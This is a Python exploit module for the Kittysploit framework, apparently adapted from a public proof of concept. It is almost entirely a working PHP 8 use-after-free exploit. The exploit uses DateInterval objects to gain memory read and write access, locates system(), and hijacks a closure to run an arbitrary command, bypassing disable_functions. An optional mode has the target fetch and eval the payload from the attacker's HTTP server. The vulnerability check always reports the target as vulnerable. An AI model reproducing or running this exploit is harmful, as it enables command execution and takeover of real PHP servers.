PHP 8 TimeAfterFree disable_functions bypass

from kittysploit import *
from lib.protocols.http.http_server import Http_server as HTTPServer

class Module(Post, HTTPServer):

	__info__ = {
		"name": "PHP 8 TimeAfterFree disable_functions bypass",
		"description": "PHP 8 sandbox escape (TimeAfterFree) — engine-level memory corruption leading to disable_functions bypass. Targets Unix-like systems. PHP 8.2–8.5.",
		"author": "m0x41nos (https://github.com/m0x41nos), adapted for Kittysploit",
		"arch": Arch.PHP,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': ['rce', 'shell', 'file_read'],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [],
	     'consumes_capabilities': ['shell'],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}

	command = OptString("uname -a", "Command to execute", required=True)
	start_web_delivery = OptBool(False, "Start web delivery server", required=False)

	def check(self):
		"""Check if target is vulnerable (PHP 8.2+ on Unix)."""
		return True

	def run(self):
		data = rf"""
function alloc($size, $canary) {{
    return str_shuffle(str_repeat($canary, $size));
}}
function ptr2str($addr, $n = 8) {{
    $s = '';
    while ($n--) {{
        $s .= chr($addr & 0xff);
        $addr >>= 8;
    }}
    return $s;
}}
class FreeMe {{
    private $pwn;
    public function __construct($pwn) {{ $this->pwn = $pwn; }}
    public function __destruct() {{ $this->pwn->helper = $this->pwn->array; }}
}}
class Pwn {{
    private const zend_string_header = 0x18;
    private const dateinterval_handlers_offset = PHP_VERSION_ID < 80500 ? 0x38 : 0x30;
    private const dateinterval_properties_offset = PHP_VERSION_ID < 80500 ? 0x40 : 0x38;
    private const zend_fe_size = PHP_VERSION_ID < 80400 ? 0x20 : 0x30;
    private const zif_handler_offset = PHP_VERSION_ID < 80400 ? 0x80 : 0x90;
    public $array;
    public $helper;
    private $interval;
    private $allocator;
    public function __construct($cmd) {{
        $this->allocator = [];
        $this->go($cmd);
    }}
    private function go($cmd) {{
        $interval_addr = $this->heap_leak();
        $handlers = $this->read($interval_addr + self::dateinterval_handlers_offset);
        $standard_module = $this->get_standard_module($handlers);
        $standard_functions = $this->read($standard_module + 0x28);
        $system = $this->get_system($standard_functions);
        @$this->interval->system1337 = function ($x) {{}};
        $properties = $this->read($interval_addr + self::dateinterval_properties_offset);
        $arData = $this->read($properties + 0x10);
        $closure_index = -1;
        do {{
            $closure_index += 1;
            $offset = 32 * $closure_index + 0x18;
            $key = $this->read($arData + $offset);
            $str = ptr2str($this->read($key + self::zend_string_header));
        }} while ($str !== 'system13');
        $closure_addr = $this->read($arData + 32 * $closure_index);
        $this->write($closure_addr + 0x38, 1, 4);
        $this->write($closure_addr + self::zif_handler_offset, $system);
        ($this->interval->system1337)($cmd);
        exit(0);
    }}
    private function heap_leak() {{
        for ($i = 0; $i < 63; $i++) {{ $this->allocator[] = new DateInterval('PT0S'); }}
        $a = "aaaa";
        $this->array = [$a, new DateInterval('PT0S'), new DateInterval('PT0S'), new FreeMe($this)];
        @$this->array .= 'x';
        $addr = $this->helper[2]->y;
        $this->allocator[] = alloc(0xa0 - self::zend_string_header - 1, "\x00");
        $d1 = new DateInterval('PT0S');
        $d2 = new DateInterval('PT0S');
        $this->interval = new DateInterval('PT0S');
        return $addr;
    }}
    private function write($addr, $value, $bytes = 8) {{
        $mask = $bytes >= 8 ? -1 : ((1 << ($bytes * 8)) - 1);
        $a = "aaaa";
        $this->array = [$a, new DateInterval('PT0S'), new DateInterval('PT0S'), new FreeMe($this)];
        @$this->array .= 'x';
        $block_addr = $this->helper[2]->y;
        $this->helper[2]->y = $addr;
        $this->helper[1]->y &= ~$mask;
        $this->helper[1]->y |= ($value & $mask);
        $this->helper[2]->y = $block_addr;
        $r = $this->helper[1]->y;
    }}
    private function read($addr, $bytes = 8) {{
        $a = "aaaa";
        $this->array = [$a, new DateInterval('PT0S'), new DateInterval('PT0S'), new FreeMe($this)];
        @$this->array .= 'x';
        $block_addr = $this->helper[2]->y;
        $this->helper[2]->y = $addr;
        $value = $this->helper[1]->y;
        $this->helper[2]->y = $block_addr;
        $r = $this->helper[1]->y;
        if ($bytes !== 8) {{ $value &= (1 << ($bytes << 3)) - 1; }}
        return $value;
    }}
    private function get_standard_module($addr) {{
        while (true) {{
            $addr -= 0x10;
            if ($this->read($addr, 4) === 0xa8 && in_array($this->read($addr + 4, 4), [20220829, 20230831, 20240924, 20250925])) {{
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if ($module_name === 0x647261646e617473) {{ return $addr; }}
            }}
        }}
    }}
    private function get_system($standard_functions) {{
        $addr = $standard_functions;
        do {{
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if ($f_name === 0x6d6574737973) {{ return $this->read($addr + 8); }}
            $addr += self::zend_fe_size;
        }} while ($f_entry !== 0);
    }}
}}
new Pwn("COMMAND_PLACEHOLDER");
"""
		# Escape command for PHP double-quoted string: \ " $
		command_escaped = (
			self.command.replace("\\", "\\\\")
			.replace('"', '\\"')
			.replace("$", "\\$")
		)
		data = data.replace("COMMAND_PLACEHOLDER", command_escaped)

		if self.start_web_delivery:
			print_info("Starting web delivery server...")
			host, port, httpd = self.web_delivery(data)
			print_success(f"Web delivery server started on http://{host}:{port}")
			print_info("Executing payload via web delivery...")
			print_info(self.cmd_execute(f"$a=file_get_contents('http://{host}:{port}');eval($a);"))
			self.web_shutdown(httpd)
		else:
			print_info(f"Executing command: {self.command}")
			print_info(self.cmd_execute(data))
		return True